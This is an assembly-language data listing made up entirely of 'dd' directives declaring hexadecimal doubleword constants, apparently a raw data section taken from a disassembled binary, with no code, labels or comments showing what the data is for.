dd 2600E699h, 0FDF4FC08h, 0A400755Bh, 0EF89F512h, 15E836Ch
dd 0C8B4DC19h, 32486EFFh, 971FC2C8h, 0F525C0F4h, 124E899h
dd 7C8CC012h, 0CCC3D931h, 1309C144h, 39F4367h, 0A1870388h
dd 9024F21Bh, 0B938007Fh, 339BA4A5h, 0F80FA25Ah, 44AAB2Fh
dd 4C818780h, 742C7D5Eh, 811FE010h, 0BF6D3AAh, 60743FE1h
dd 0C2F50001h, 29E1C0BFh, 21001C07h, 832EB50Ah, 0F0391D0h
dd 0EEC889E9h, 384A463Dh, 4793869h, 8B5E2A00h, 7AEDDAD5h
dd 6B4B3F85h, 0B1569581h, 878D6F4Dh, 137C38F0h, 2B90ECF0h
dd 0F2FD00F5h, 37464717h, 9E05ABCCh, 0BBB77618h, 0A3598800h
dd 60EC1EA1h, 223010BCh, 0DF177520h, 8400C33Fh, 231CEA26h
dd 0F6647E90h, 8B6200B4h, 346D849Ah, 0DD0030BAh, 59AC39B9h
dd 13DC2637h, 413F11E1h
dd 0D8D78E1Ch, 10828B7h, 0E42CF749h, 1FC8E69Ah, 4D971F2Ah
dd 5F80B98Ah, 4FF10BD5h, 49585B41h, 39C41310h, 6A4C1900h
dd 794DB6D7h, 0D01D4C33h, 0E91FB204h, 8F71303Ah, 4FB4A8CCh
dd 3C180798h, 70BB6979h, 7390B45h, 7E52A31Eh, 0FDC64C80h
dd 164D93F5h, 4B27492h, 0C0F0DDEEh, 0C356831Dh, 75764503h
dd 0E82E2B01h, 2FB163h, 0E4D2D38Dh, 44480B9Ch, 0CA491100h
dd 2C26A2F6h, 4A533C98h, 14DC0900h, 0EF1774ABh, 6C84B803h
dd 0C104B787h, 0B13EC244h, 26DE0AFh, 3C00A84Eh, 0A59885DFh
dd 84B600FEh, 0E4EC7FD5h, 0C91E94F4h, 89C0CCE8h, 0E91C7C10h
dd 848D00BEh, 0D42849D8h, 4D015664h, 0C9B6C5FFh, 6074D596h
dd 4A27000Bh, 0E430548Bh, 92160D25h, 0A81EC306h, 0C0B25FCFh
dd 0C0EBF971h, 7D940093h, 0B56F5B25h, 0F007B85h, 0AD9CD7DEh
dd 0ABE3A7Ah, 4CC5B147h, 0E54E03ECh, 0DEA390EAh, 38CA20C9h
dd 0A6480034h, 1D517BC9h, 506B3A31h, 36BD250Dh, 0F0C8ED20h
dd 0DB1C63F7h, 65C09F92h, 0B579DC0h, 8A2F00B0h, 54E97D20h
dd 4A007C09h, 11C0C84Dh, 13B925F5h, 0D7A23C5h, 53205ED3h
dd 2002C130h, 5FA6C05Dh, 0F70C810Ch, 8454DA86h, 334B4800h
dd 3299391h, 6108F5C4h, 88013E77h, 34C63BC8h, 0A8D83FFBh
dd 84322EAAh, 1A4C039Eh, 0F2F8B3CAh, 0C41C22A4h, 7BC011D8h
dd 0FFB768BEh, 0AB8A0240h, 0A331C8A0h, 918D84A0h, 102894Ah
dd 0B01A590Ch, 0D8C9C1B7h, 11530CCh, 31C57C4Bh, 30235191h
dd 0CE90221Ch, 41ED6Fh, 35192618h, 0F55106C0h, 809F8CAh
dd 21716Bh, 92311402h, 1EE1037Eh, 0CABF9078h, 151880Ch
dd 193E617Fh, 189BE248h, 0D98852D4h, 36EF2C60h, 58D69106h
dd 0C20848Ah, 0BA3C1B23h, 9010C018h, 0B201717Fh, 4A38D595h
dd 57108072h, 8399A2D4h, 7424003Bh, 8EAE0FA3h, 0F6000907h
dd 0D3174CC3h, 3B3473B3h, 8000BD9Dh, 0BED0A89Eh, 4A007DAFh
dd 0FCF0EE42h, 0BCE3CBh, 0AA5D2C59h, 0C9C6B785h, 97EF0407h
dd 0ECF01974h, 3C3D1BCDh, 9C80298Ch, 0B7FE8DBh, 8700E2B1h
dd 9169EA52h, 0E4A2FBh, 90C90281h, 0CD955149h, 89CC5C3Dh
dd 7283C2h, 0AE649159h, 4BF90D55h, 0E0287766h, 67E8485Ah
dd 9AC76300h, 0F95D3C2h, 0ECDC00EDh, 0B54A62CCh, 59CF6694h
dd 89144610h, 2FF70148h, 5AF65B97h, 3520B867h, 68802992h
dd 785EE4h, 0D61677F2h, 0E61F4B35h, 9FC9F800h, 0F1F94715h
dd 45AE1F94h, 8650002Fh, 5DAD6898h, 0D18F0809h, 37C300D5h
dd 2659Dh, 149B75F9h, 11E37853h, 17A9C03h, 0F8FEB2C9h
dd 39F4A250h, 3601C805h, 0C1E566A3h, 0D5F18068h, 0CE43E417h
dd 0E8EC94h, 730B64CFh, 3CAB978Fh, 82B95202h, 0B7FB8A67h
dd 77EF8404h, 80CF78B9h, 0B87C622Bh, 67E29404h, 27479FD3h
dd 6602015Ah, 84EE028Ah, 0AB047D1Ch, 18A40D93h, 0E0AA2013h
dd 312C6FCh, 0EA4B0155h, 99366951h, 8050096Bh, 500DAA34h
dd 0DD0A4CB8h, 5783469h, 0D7A390Ch, 9E71E61Ch, 56BE8010h
dd 8104550h, 8A66E60h, 0B81A0484h, 28F0170Ah, 0A5196444h
dd 1C4C6109h, 30F70DEEh, 908EF7Ah, 3314110Ch, 6F4C430Bh
dd 40FA1829h, 0C05052BCh, 8EB59182h, 0F54501C4h, 85F32D9Fh
dd 5970564Dh, 0E03EC6F4h, 0E10D1DF8h, 1772FC29h, 0DC18D604h
dd 4E10BA23h, 197B60E1h, 4F75641Fh, 7EF4D000h, 94704D99h
dd 0F1741842h, 381D4178h, 396BC403h, 1C990769h, 73FE2651h
dd 6915BF39h, 6ECDFE0h, 434C718Fh, 4480048h, 0E6CD2C07h
dd 4D045F88h, 0E5C78263h, 7DD49090h, 78AB3012h, 0CC3F8A11h
dd 0BEA92702h, 806EEA23h, 0A4070234h, 5848C0C9h, 0C891AE14h
dd 8DA8213Eh, 8B87B6Bh, 0D58748BAh, 0C085ABB2h, 9E828005h
dd 0A968D330h, 610DC77Fh, 79FE0855h, 52F3E07Eh, 0C107E036h
dd 517D6748h, 0B04C4084h, 191FBC7Bh, 0FFC02060h, 12CF8CE2h
dd 426D0099h, 0BC8D2A84h, 4E0066D5h, 83CB887h, 60619B0Eh
dd 0F477D96Fh, 3628C303h, 870C8C45h, 0E83CE8A7h, 0BAC22689h
dd 8580F7Ch, 8489114Ch, 10D3251Ch, 2AD19947h, 3238488Ch
dd 0E28E37Bh, 750BE20h, 6042FF33h, 0D5888173h, 0B4215E8Bh
dd 94D2F4h, 0FF3DE47Fh, 3308E581h, 0E1310F6Ch, 8608C1BAh
dd 2462AA16h, 1D0764D0h, 0BC318114h, 0F0B3004Fh, 608C0786h
dd 12052178h, 0FE3C9E81h, 0F7A161C8h, 0B04752F8h, 2A11AC5Ah
dd 0E3599100h, 0C9E4D002h, 0B985450h, 0AD078512h, 0A89E2C4Ah
dd 1003B0E8h, 0C08BFF92h, 240F6FD4h, 9D387A3Fh, 0D5052088h
dd 742B8140h, 8C1EB82Ch, 20FE2744h, 40ECF78Dh, 75CF022Eh
dd 13804F1Eh, 0ABD5881Ah, 0E7493E4Eh, 9F80F481h, 8F83A9D3h
dd 941F0258h, 51113CA4h, 14D080F4h, 0CFFDD601h, 7CDD1CACh
dd 0E8063CA3h, 0D88D1BF7h, 0C024500h, 0B056864Fh, 0AB7B077Ch
dd 59E0D4E6h, 419D5004h, 926AD5C0h, 0B84AC994h, 0C4534D71h
dd 0B8160515h, 184312Ah, 530DFF39h, 54EA0686h, 81D801A4h
dd 0D3BD6F88h, 8C9460EAh, 118044ECh, 0A4C8453Eh, 0DC0C0CE1h
dd 12F73102h, 9E48494h, 3014BA18h, 29C06A34h, 0AAE48841h
dd 4C428127h, 0B20702F8h, 8011C02Ch, 91C058D3h, 0E0A83C86h
dd 0E2170101h, 6E108489h, 0F7C27071h, 0E5407E64h, 0C0156747h
dd 0E70CB184h, 7C4847F7h, 9884BB29h, 0E9AB2837h, 0BE7C243Ch
dd 2A4F1E88h, 85E51D58h, 0D39905C7h, 0C48205Ch, 0E6504F07h
dd 911DF7F0h, 7D46C78Ch, 0C80694Dh, 0E64E15E0h, 6719B3B0h
dd 6F608A06h, 4AD5B825h, 64B7D170h, 0C8EC184Eh, 40C1678h
dd 715BD099h, 0B749284Fh, 22DB43B0h, 42090079h, 0F45E63C6h
dd 47E0810Bh, 99CD10C0h, 24DBC7h, 0A3EEC906h, 0CFD5D494h
dd 0E68DF801h, 4A4D7BC8h, 1FCC7CE9h, 0C64307CDh, 0B47FE52Bh
dd 0C9E34371h, 0CED4E07Bh, 621D3719h, 0DC3D7018h, 5030D046h
dd 0DF6328D3h, 7CC31E05h, 680B07AAh, 62C980E2h, 4906EF6Bh
dd 24C65EA2h, 0CC191F41h, 0E506036Ah, 10287E5Bh, 30018A69h
dd 0EBD14EDFh, 7F0442Ch, 0C9430002h, 0D40D6D63h, 0BA0372A6h
dd 1FF8EE8Dh, 0F0516823h, 502AF604h, 0E000A49Bh, 0FFAF10F5h
dd 0F8FDD544h, 7DEF0341h, 3523C5E3h, 0CDD34580h, 0B8BCBF1Fh
dd 2D07DD1Fh, 0C9C00124h, 30546958h, 0D45968EEh, 0A1011E28h
dd 4D45FE55h, 51839ABFh, 0E4B7CA9h, 0C3622900h, 0D472D804h
dd 161FF8F8h, 0CBE53Eh, 3647A793h, 113D2CEh, 8D195E67h
dd 34417EF9h, 0C192E550h, 281B0C1Ah, 3000D119h, 0EB317BF9h
dd 53EDCC1Fh, 3B2C70CEh, 157D00CBh, 14E33174h, 0E918EF76h
dd 0A1E84164h, 4E983BDh, 46C8F01Ah, 0A57A4D12h, 8A6D1C08h
dd 14E38D36h, 0E6C14C63h, 20C72D9Bh, 0E8A14214h, 7CBC50A6h
dd 6652EF80h, 0FC1E0794h, 0A84CF54Bh, 0FD531EF0h, 1AD34533h
dd 2EF02497h, 2C73AC04h, 93F5E85h, 0C0061B5h, 0B7D24ACBh
dd 90017D00h, 9ACE7EB6h, 14C926Dh, 0E8BD70EFh, 0CB4CD0C8h
dd 78EC2908h, 561A0881h, 88BE8C88h, 1888D107h, 6DB5887Ah
dd 8284894h, 10B88A30h, 5B2684D4h, 0A080A448h, 41A7271h
dd 0B08703D7h, 1572AA8h, 90E363B8h, 6B8A4300h, 0A4E1D964h
dd 8FB503EEh, 14D83F28h, 20675698h, 0DA6E000h, 74B4F871h
dd 31B80093h, 541BE919h, 5578E1A8h, 8107C93Fh, 625C84DFh
dd 9D44BB2h, 0E8FB0920h, 0EF8E371Ah, 3AAEDA60h, 0C6B00789h
dd 0FA92BD1Fh, 0D4DC4EC0h
dd 0AB140Bh, 15932CDBh, 0B663A204h, 107821Dh, 0C42F15h
dd 0FC61BBFAh, 1E96B9E8h, 80754FECh, 947EA2EAh, 0A4007CB1h
dd 31382F3Eh, 850DF5h, 465FB67h, 95C8D980h, 0FFF5895h
dd 1DA26296h, 447D14E0h, 0A700666Ch, 54DCBF0Bh, 3FCBD757h
dd 145AABEEh, 5803001Dh, 678A4842h, 78467EF0h, 0A7891400h
dd 0A3EB8C8Bh, 1C6D00A4h, 0A5CEBECFh, 0E003EAB2h, 8F497411h
dd 0C0D9A01Dh, 1C3E0383h, 9564DC92h, 80EE18A0h, 36F4CE00h
dd 26A32085h, 5A770557h, 80884FBBh, 749D78Fh, 0E9C40A00h
dd 68FE8E81h, 0C3E62Ah, 95BC32DAh, 96F01FF7h, 89035C73h
dd 0F8366F51h, 5B8FA8F6h, 75A200AFh, 191EF1C1h, 2D008243h
dd 49A0BA50h, 0A8EB53h, 0D4D32090h, 2BD6CE77h, 0E1EC4A00h
dd 1B25228Fh, 3089002Dh, 0D098BEB3h, 5E00EE3Dh, 15E7028Eh
dd 4C6DDA20h, 88007225h, 0AC26E579h, 1F26F53Ch, 60126CD1h
dd 39D79400h, 440F19h, 0FB6CC3BEh, 65BD920Dh, 4C23F700h
dd 20706F9Eh, 1B1D2E18h, 6D440020h, 97D02C03h, 0DD91DA00h
dd 31407224h, 0A238093Fh, 4407BFCFh, 0FE8FC0CDh, 0FF006287h
dd 178CD765h, 8613F5h, 50106B01h, 0E7EC4B1Ah, 6D03AA79h
dd 0DA165ADCh, 306E829h, 0C89812DEh, 9C20287Dh, 9F740907h
dd 2007251h, 0F48E3FADh, 154B1F93h, 4621008Ch, 0A9B961E5h
dd 0B2954000h, 830C3A08h, 0DDD801BBh, 3140966h, 54430087h
dd 0C37AF932h, 88C41701h, 8100221Ch, 0AB247D6Ch, 72A1137h
dd 0FD0CACE8h, 2091B37Bh, 24561800h, 0B4E6224Dh, 719F00FBh
dd 4865CEE4h, 180077A6h, 0E039C04Eh, 0DEFEA2h, 0A9E80349h
dd 148672E1h, 2F8F7E00h, 80A42EBCh, 0E49F00FFh, 0F040D002h
dd 95023CCFh, 47AA3386h, 0C264403Ah, 80100008h, 0B11446A0h
dd 1D00C537h, 88E1FAC8h, 0EE6D42DFh, 0D7D48F6h, 3AB3417h
dd 4C6E6368h, 29035FC0h, 24C5D409h, 89102239h, 99FCE0B4h
dd 3C060008h, 2BB3F381h, 22004764h, 5D1FEE30h, 0FAB0138Ch
dd 5C4F3A0Ch, 86C66900h, 7C7B3A0Ah, 0C96A7700h, 4FA33B5Fh
dd 0F64607A4h, 902E452Bh, 3824AD56h, 0B11DC00h, 0D31A09A5h
dd 0A4940120h, 7CE32627h, 1E5834A9h, 0CF3DD20Ch, 3B9B2021h
dd 6C802702h, 46D53732h, 83134B13h, 50006151h, 0FD8BD891h
dd 3E5E47Dh, 0C6205B95h, 0D0BFB929h, 8BD21678h, 0BDC1A00h
dd 5F46B43Ah, 0DB9F373Dh, 9BBF4010h, 0E30048D5h, 0AEF573C3h
dd 982CBA42h, 1B310042h, 0D46F1215h, 49031930h, 0E69D581Dh
dd 0D11000D7h, 0A7BAEBA0h, 0DA005186h, 0C9C8623Eh, 1D6ADD04h
dd 23D209h, 98F31E38h, 0FEE8A53Ah, 7C009372h, 522F54D7h
dd 648FE4h, 0DF1ABF1Eh, 717E7587h, 27635901h, 0FA813DCh
dd 98E4D0h, 35085205h, 0B61C8FC5h, 76F84100h, 978B2144h
dd 0C7C300D4h, 0AA117204h, 1A00FF65h, 8AD9EF1Bh, 4421CBh
dd 39A3272Eh, 60A1167Ch, 17191D00h, 0A7E4FA78h, 0F9710007h
dd 0C206E927h, 0C09388Fh, 2D03193h, 60CC0190h, 0A28A2Dh
dd 33997FC4h, 85EFC874h, 0F858E41Fh, 43A90340h, 0FEB260ECh
dd 41CE005Ch, 6769F146h, 960044CAh, 3F54A473h, 0EE5D71h
dd 0C09306B1h, 646F8E95h, 94E7EF1Fh, 5ACB0204h, 8674B890h
dd 10FF0306h, 0B6F7E52Dh, 1F313698h, 0C25B1C00h, 66F6357Dh
dd 83E8A8C5h, 0F4D33B1Bh, 0C6DF1C80h, 55F31513h, 2A10D200h
dd 26EF1704h, 27D94051h, 6BB47F00h, 9986B30Ch, 8B9A050h
dd 258F0A5Ch, 3433BBh, 10CFB1FDh, 1200947Ch, 3E05EFCh
dd 0A3B9A26h, 0CB8C67FFh, 385D0094h, 0CE063F2Dh, 0D49C6000h
dd 64A3D19Eh, 0ED7B0A32h, 3D987EB4h, 0DB3E4080h, 0DD537FD7h
dd 0E7959A07h, 8030EB32h, 538FF8Fh, 92936983h, 5C9400A4h
dd 219F327Bh, 55A58D04h, 80875E6Fh, 0B5D873B0h, 2E2A0062h
dd 9E017F91h, 8C7E61A2h, 64086B00h, 7568F5CBh, 5FFB0197h
dd 0DAF80C92h, 1C99FF9Ah, 4C5DC0C7h, 0FEA96701h, 80D3AA69h
dd 0A5E030h, 1BDCA7BDh, 8B550347h, 0F500ABF4h, 994F89Dh
dd 4ADF04h, 22FB39C8h, 0F3297F1h, 0F7781400h, 1FC48C49h
dd 25037956h, 0E0000441h, 16F89112h, 4C3A6C03h, 48B03FAEh
dd 9A14DCE0h, 50002036h, 0CD2430F5h, 485834ECh, 0B6E48D4h
dd 2073DDC2h, 41E9AFDCh, 0BD0FE35h, 444E28D8h, 140608A0h
dd 4CB8A894h, 297138h, 2DEBB652h, 3116BDh, 0B5DE2270h
dd 0B095A7DCh, 52096400h, 8ED24ABEh, 0F07826h, 2FD65550h
dd 8032795Bh, 0C1BE1C00h, 0DD489E40h, 0CCDB0096h, 9D23F413h
dd 0B703A972h, 8D47A6B1h, 3DB0BF4Ch, 9FB8DCh, 8ADF61D0h
dd 8E7D6BBFh, 43CE871Fh, 9116E000h, 7B6576F9h, 0A407005Ah
dd 0C91D5CABh, 51F2E7BBh, 0EE610B03h, 8890BD3Dh, 65C36Ah
dd 0B84A7541h, 48F10159h, 0CBF7D8F5h, 0E81E2828h, 94D92F13h
dd 0E696BC00h, 0F352A0h, 6A8DF7FDh, 0FB7C06A7h, 0C3197205h
dd 0AC205133h, 0C8D5D97h, 136B809Bh, 5313DC19h, 0C40EF719h
dd 3E686099h, 0B52AEFh, 31356B97h, 0C398B3A3h, 700D3200h
dd 84F058F5h, 85940050h, 64A77AF4h, 24006687h, 1F7FEFE0h
dd 501340B3h, 6036D446h, 318C4CD7h, 0E7E1A0Ch, 0FFBADD00h
dd 6E3C6D14h, 61C000A2h, 0CBAB7D23h, 7AFC4F10h, 0D800A0B8h
dd 67044593h, 0E8BD90Ah, 0AB520B54h, 740440D3h, 5BFD6AEBh
dd 0DA4A0D04h, 0C1BE5E7Ah, 703301CDh, 5C26E8E8h, 5A00F758h
dd 3ADA2238h, 0B284071Bh, 328619E3h, 0FF804F6Bh, 3E6F7F82h
dd 77BDA802h, 40D35E59h, 89A70738h, 8AE8C71Ah, 6512B436h
dd 0D42033EEh, 3B172CBBh, 0BC80074Eh, 2D1E0345h, 9F000493h
dd 58C6D3EDh, 9C290106h, 315C9760h, 4062AA78h, 0CE19C1B4h
dd 54B63Bh, 0BC9EC2E6h, 9150890h, 0FCD85D2Dh, 0F7007CFCh
dd 0FA3A0295h, 0A9F20678h, 70311756h, 940AA300h, 246D0BDAh
dd 9ADC012Ah, 0E543AA46h, 0B57880A9h, 604158CBh, 5F60A88Ch
dd 60B874h, 69E7F3EBh, 4CC7150Dh, 7CE359h, 6605EC4Fh, 901D802Bh
dd 507F006Ch, 37DE49A6h, 10017406h, 0DB53D7A7h, 0FDF4F977h
dd 149B1FC8h, 30854093h, 0DEBA4DFAh, 0F9CE2100h, 4A9CE96Ah
dd 5C6C00F5h, 0D5BE6F7Eh, 1F1DFC71h, 1DC034B4h, 0D1F3F26Eh
dd 0B793002Ch, 702F22FFh, 8001C60h, 0FF9BAEAh, 4C072924h
dd 67BD636h, 0C02D8293h, 1000B087h, 0E440AE42h, 79AFA564h
dd 0F311039Bh, 79C45A23h, 71F8FC8h, 0E55E3Dh, 0A8C09849h
dd 39436B0Bh, 18003FB5h, 4E1B96E8h, 0CA00653Bh, 48928BEEh
dd 1C254255h, 4FD3335Dh, 0BDA0B409h, 0EA84B69Fh, 0DF728200h
dd 152592D1h, 774A3AEFh, 0F9F4B80h, 7B2B7C1h, 8544B01Ch
dd 0E21E547h, 0BB5BA550h, 69FB0032h, 0FEAE78F9h, 6000A3B6h
dd 8CBD0C6Ah, 516011Ch, 0CCF9E323h, 7A9081E1h, 55DEFC9Ch
dd 19762C00h, 4D7B8DB4h, 547C3FD6h, 0C0A9C89Dh, 91C4A330h
dd 55988B07h, 564E3800h, 0FFB3D7AFh, 4DE90043h, 83CE50CFh
dd 3600E0A2h, 44349B67h, 3E99F57Dh, 0BF00A938h, 0FE6E3F14h
dd 8B008E17h, 0DAEB0221h, 24C72F58h, 0A840F1h, 0FB0D062Ah
dd 0D8C06A74h, 551007F7h, 0A84100ACh, 2F3501C7h, 51009009h
dd 0D95E26CEh, 0FB049A7h, 762ECFA5h, 0A04763E0h, 4EFE9943h
dd 3E78D01Eh, 7AAAF0C0h, 20FFD9h, 3B2A17D4h, 0C05A27F4h
dd 4307DE79h, 9DDA548Ch, 0FFE7A951h, 0EA6A8A0h, 0EB4915D5h
dd 4B1F6B80h
dd 250091E9h, 5B0993BDh, 3778F5h, 0D29AF717h, 0C42FE83Dh
dd 13AFF000h, 6EDF5F60h, 0F330741h, 0A721C0DBh, 5790A05Ch
dd 98691115h, 10D700C8h, 97EE08h, 68FCC546h, 0FB4FECB7h
dd 5CF66100h, 0A781EB80h, 4240519h, 0C09949FFh, 3CC0DED4h
dd 66B1F300h, 8E420798h, 0DBB82892h, 65D300D8h, 1BC03B61h
dd 940311C9h, 0FED39F3h, 6B74880Bh, 210C0391h, 0BB178FD4h
dd 3CCB4094h, 2C8954h, 0B041C767h, 84E9A7F3h, 5B70B403h
dd 82D64AD5h, 3A82C1C9h, 3FDA2F20h, 0ED00526Ch, 0E0CACEABh
dd 0EE07E2F5h, 960BD0E3h, 2C2FA0B0h, 41340009h, 83A94466h
dd 68000697h, 4AFB2D3Dh, 199295E6h, 88F14516h, 15DC5039h
dd 0BA009193h, 874724F7h, 5ECFDFh, 72B58514h, 0EFFA02CCh
dd 0DD2A9D14h, 0E8A600D1h, 87415CC5h, 0D7CD016Eh, 0F68FBEABh
dd 28589D1Bh, 18D9003Bh, 3ED2DAA4h, 0B82D03C1h, 0F20DCE3Fh
dd 96DCC0DDh, 9D007C7Ah, 895CA0ADh, 4CFA5E04h, 930523AAh
dd 808515CFh, 162C5F0Ah, 88A98200h, 784EAEB4h, 4A061CF4h
dd 389C8BE1h, 5B44EF80h, 0B7A00A99h, 0E6786216h, 2F1DF02h
dd 40971248h, 0E3D6104h, 93EA3C2Ch, 0A4F89A20h, 4B3EF0B0h
dd 58F980F7h, 0A345D77Ch, 0D028001Dh, 0E39D4D13h, 0B400E2A6h
dd 7AB5F707h, 463B94h, 0DFBC8E82h, 31D305AAh, 802F6223h
dd 9104DEE7h, 0FCA8933Bh, 0D506BC4Bh, 0B43B0C9h, 6C0D01AAh
dd 94A56B6Fh, 0B71B60E2h, 0B0F40800h, 7E3AA276h, 4FA80FF8h
dd 50EE53D9h, 0A0029209h, 8D00FC0Bh, 409FE2h, 168B52EBh
dd 0FF8FBC71h, 3E9ECB09h, 809C8944h, 7764F67Ch, 84E60033h
dd 4666AB60h, 6B004205h, 0B9A69E34h, 3FEBED2h, 778A2945h
dd 1D8894D5h, 1800BF25h, 489BAD2Fh, 55C09EBh, 82AAB9FFh
dd 2CB80780h, 0E8E570B1h, 6607C463h, 25793993h, 0B692A1A0h
dd 732C02D5h, 8B7C654Fh, 802F7560h, 0BE36F300h, 0CE545D01h
dd 9E630064h, 11999025h, 0B403894Ch, 0D1ABECA5h, 0AD57E049h
dd 7DBF0036h, 1ADBCECFh, 153C5B64h, 98308447h, 19801D67h
dd 7E4301h, 3DD5225Ah, 4CDCCCFDh, 97609FF7h, 8F5FCB4Eh
dd 0D8D600E9h, 1DD439A4h, 533A590h, 7A27EBEh, 4CB1DC10h
dd 90078039h, 91FD3BFFh, 4E122F41h, 79F6188Fh, 8F260D80h
dd 0EA006D13h, 910B45EDh, 153DA81h, 0C6523001h, 0C49FE4A4h
dd 0F617760h, 0F32FED60h, 5BE970h, 0C6818908h, 96E6E00Bh
dd 78E89F30h, 0A0614010h, 0E9AE5254h, 59DA060Bh, 750E301h
dd 7FBCCD4Ch, 5027C0EBh, 4176732Dh, 9867EA00h, 90F8DE94h
dd 230300DCh, 1FBFD7B0h, 9A4CEC0Fh, 8BD501E7h, 759B9ECAh
dd 29EAC8h, 396A405Ah, 23053BB2h, 0E1C28F1Fh, 0A5C64D40h
dd 1F3FA820h, 7AD9F98h, 0B767496Dh, 0EE943189h, 0DD46015h
dd 9170ED00h, 78125CE7h, 0BFBC007Ah, 17399466h, 86001CC3h
dd 463E8DDEh, 39D8B04Ch, 0E300ED4Eh, 0EEA647CCh, 70ED5E50h
dd 85000289h, 0F7FF0ED4h, 0F20BBD9Ch, 0AAF51432h, 0D0AC8EAh
dd 24CC60E0h, 51C100A4h, 0F0CFED4Bh, 1FE50419h, 21807E08h
dd 0E351C926h, 1BF04254h, 5841BA0Bh, 0EC3E811Fh, 8FDCE23Fh
dd 0D76200D6h, 0B16404E0h, 0CC2A5094h, 300BC5Ah, 0D4444334h
dd 1D61A118h, 1AA4D3DCh, 0B2412108h, 0DCC8FD43h, 58604211h
dd 0A7D8A3A8h, 0C1CD787Ah, 0E8356329h, 86123132h, 0A652F711h
dd 807103E0h, 81C1125Fh, 0C48FFA2h, 0A7013AD9h, 1892AABEh
dd 0C09894AEh, 0A5326008h, 0DB50FD03h, 647C5E88h, 63336068h
dd 0B400A47h, 91308369h, 4FCC00F8h, 4D7203A7h, 0EDD70A2Bh
dd 80057Dh, 0F588F2E8h, 527162D5h, 41D1DC00h, 0EADDC14Bh
dd 4AD62C16h, 0BE230015h, 835A2A5Dh, 531F6D1Eh, 0A08BF700h
dd 76446BD3h, 97DE00FAh, 71B6026h, 391FC831h, 0C017C44Fh
dd 61E9BB00h, 1F16DDFCh, 8021AA93h, 0CC8AC65Ah, 0A903881Ch
dd 0CDBE7E79h, 1207C1DCh, 3F4818B0h, 660069BFh, 0B7B9C53Ah
dd 352C9A4h, 23EA7004h, 2800C828h, 1A32DCEEh, 0FC56EE0h
dd 834EB49Bh, 1FF23680h, 4F002B20h, 42B8825Bh, 740184h
dd 6219991h, 0A8EC5F37h, 18613B07h, 69C0CB07h, 304524h
dd 13944FBh, 7CE8D983h, 70005CEAh, 0CF03B317h, 3D7A3FF1h
dd 6D8199EEh, 0A88AE9E8h, 7174E081h, 12108CEFh, 0ECD7C9C2h
dd 556400A2h, 677F5BFh, 6C002D5Ch, 9AD9C7B7h, 1E38E9Dh
dd 3BF44D94h, 51C34B44h, 46AB17A4h, 12307083h, 896851A7h
dd 98E1F7DFh, 778402C0h, 0AC8985Fh, 7674CAC8h, 0E8540080h
dd 7A475D99h, 34D4F100h, 0A2F82371h, 65B10044h, 15CB0F1Eh
dd 833C48C0h, 0D6E00046h, 81254B73h, 368702C9h, 0C3055CDDh
dd 0A311CE0h, 83D7B71Fh, 60E2E500h, 0CE824Fh, 377F527Eh
dd 1A3F9B45h, 0B63A8300h, 0F9446DDAh, 3ECBEA6Bh, 0B007088h
dd 3BBF8B07h, 1C00DFE9h, 0AC8C1357h, 0C0A2F6h, 0FAD131F4h
dd 0E4113D73h, 0B40BA972h, 0CBF276h, 0F5B07E8Ch, 39FAD9h
dd 0B972E3C0h, 5047DC9Dh, 6FA69C0Eh, 0FFA180AEh, 8B65A4h
dd 5FEBA953h, 7388D01Eh, 7B11D00h, 5121BECCh, 425D0083h
dd 327E9F7Dh, 0ED00DCB6h, 62C6398Ch, 6037A4F5h, 0BEC17A5Dh
dd 5B008F79h, 0CCF9A274h, 1EA846Bh, 7B42B0F5h, 0D0317129h
dd 0E7002A36h, 8C051C7Eh, 4C15880Ah, 38001569h, 1A9383F3h
dd 0BB01D6E7h, 0E0843CE4h, 0C8FB1EABh, 0FA1F35h, 83EBB009h
dd 7191E9B5h, 86CBB419h, 0C1098A29h, 4F11103h, 128EAB11h
dd 0E1310A6h, 2F08DD89h, 84528B44h, 6A90EF00h, 0BE64999Eh
dd 298700E4h, 7D9AF80Eh, 4E023B65h, 0A66AEF4Bh, 0BA782299h
dd 24EA9422h, 0AA34278Fh, 0E427C48h, 51E322F5h, 229C2822h
dd 0D922BD50h, 40F724F3h, 2A3B3EACh, 6798CAh, 21ED4518h
dd 48FC6DAEh, 80E37839h, 3E617C32h, 0FC40C63Ch, 6D5301F4h
dd 98CBC3DFh, 902FC96h, 80E5063Eh, 3FEAE480h, 1C85128Dh
dd 40A5CBCDh, 8AE35ADh, 0A3982192h, 7276B717h, 19CD3001h
dd 0F9413B7Bh, 40D456DAh, 4A43000Dh, 0FE8283A2h, 2A001D6Eh
dd 6467164Eh, 46AD4h, 452339E9h, 0B4E6C96Bh, 682D0F00h
dd 0DA8DAB61h, 1DFBA143h, 0EA1CF02Bh, 0E61FF303h, 0A0D36164h
dd 908378E3h, 955009Ah, 15FF129Dh, 3F00D28Ch, 7EECD927h
dd 1706DCh, 659EBFAFh, 9A23B5F8h, 0E22B5Ch, 0A62A0E90h
dd 5C95A3FEh, 8D03E7F5h, 0D3546A37h, 66B103D3h, 341180BDh
dd 4197A080h, 383600C3h, 0D66C888Dh, 6300B702h, 4C65D822h
dd 281018h, 5197AD50h, 0E9A4A80Dh, 9500347Fh, 0B1E71ECh
dd 13E1DA0h, 0AAAEB984h, 30E9625Dh, 45714370h, 0A668D001h
dd 0E14DE326h, 9F8EF8h, 0CBC6D2C8h, 7BF0134Eh, 0C1AE0102h
dd 80DD041Dh, 52FBED86h, 0FCD8009Eh, 57556823h, 0EC030173h
dd 0ADA458E5h, 0A869C84Eh, 0D5E11EBEh, 3E80BF99h, 67E7F433h
dd 0DAB8D474h, 0FFC94607h, 6B533A81h, 5A500C17h, 71C0B182h
dd 0E6D64100h, 1094EA9Fh, 3A250059h, 0F451C632h, 0FB00B9B1h
dd 0DDC7D5F8h, 0FC5AFAEFh, 2B7701ABh, 62939854h, 12BBD8DAh
dd 0BDE44900h, 3901E99Dh, 50C009Bh, 95FCAEE0h, 360028A8h
dd 3BD74873h, 34749BFh, 4F71DF32h, 0D9D8AE7Dh, 4CC3C510h
dd 0D84377DEh, 38D3C7Ch, 0CBBDEFFDh, 8A180F5Bh, 0A3187B28h
dd 7CFC19h, 0EC383074h, 0E19405D4h, 815EB200h, 0DD80C1E6h
dd 0A9AB0F95h, 0F9A260A6h
dd 7446A566h, 56F65D00h, 69A39FB1h, 7FFF003Ah, 5AF2836h
dd 4D77B788h, 53DC1707h, 0F9B02BF3h, 7B382C07h, 0E2707ADh
dd 90983C5Ch, 3A8806ABh, 0FA72EB00h, 40EE33FEh, 41DF0681h
dd 50791F48h, 0CCE09F00h, 0FC723B54h, 0A22F3918h, 68E46280h
